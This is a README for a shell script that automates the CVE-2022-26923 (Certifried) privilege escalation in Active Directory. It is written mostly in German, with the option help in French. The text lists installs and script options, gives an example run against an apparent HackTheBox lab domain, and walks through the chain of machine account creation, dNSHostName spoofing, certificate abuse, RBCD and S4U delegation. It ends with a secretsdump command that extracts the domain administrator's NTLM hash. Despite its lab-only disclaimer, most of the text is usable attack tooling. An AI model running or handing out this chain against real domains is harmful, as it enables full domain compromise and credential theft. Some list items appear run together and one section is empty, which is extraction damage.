
Ausnutzung von CVE-2022-26923
Automatisierung der Ausnutzung von CVE-2022-26923 (Certifried) zur Privilegienausweitung durch Missbrauch von Active Directory Certificate Services (AD CS) und Resource-Based Constrained Delegation (RBCD), was zum Dump des NTLM-Hash eines Domänenadministratorkontos führt.
⚠️ Nur zu Bildungszwecken / Labor / HTB
Nicht in nicht autorisierten Umgebungen verwenden.
Dieses Skript automatisiert die folgende Angriffskette:
dNSHostNameadministratorsecretsdump.pycertipy-adbloodyADgetST.py (Impacket)secretsdump.py (Impacket)opensslpipx install impacket
pipx install certipy-ad
pipx install bloodyad
sudo apt install openssl
chmod +x CVE-2022-26923.sh
./CVE-2022-26923.sh [options]
-d, --dc-ip IP du Domain Controller
-D, --domain Nom du domaine
-u, --user Utilisateur valide
-p, --pass Mot de passe utilisateur
-c, --comp-name Nom machine contrôlée
-C, --comp-pass Mot de passe machine
-a, --ca-name Nom du Certificate Authority
-t, --template Template certificat
-f, --pfx-file Nom fichier PFX
-H, --dc-hostname Hostname du DC
-A, --dc-account Compte DC
-i, --impersonate Compte cible à impersonner
--verbose Mode debug
-h, --help Aide
./CVE-2022-26923.sh \
-d 10.129.1.39 \
-D certifried.htb \
-u [email protected] \
-p 'Ch4ng3m3!' \
--verbose
Am Ende der Ausführung:
administrator.ccacheadministratorBei Kerberos-Problemen:
KRB5CCNAME=/tmp/administrator.ccache secretsdump.py \
-just-dc-ntlm -just-dc-user administrator \
certifried.htb/[email protected] \
-k -no-pass -dc-ip 10.129.1.39
Machine Account Creation
↓
dNSHostName spoofing
↓
Certificate Request (Machine Template)
↓
Authentication via PFX
↓
RBCD abuse (bloodyAD)
↓
S4U2Self + S4U2Proxy
↓
Kerberos Ticket extraction
↓
NTLM dump via secretsdump
Dieses Projekt dient folgenden Zwecken:
Der Autor übernimmt keine Haftung für nicht autorisierte Nutzung.
MIT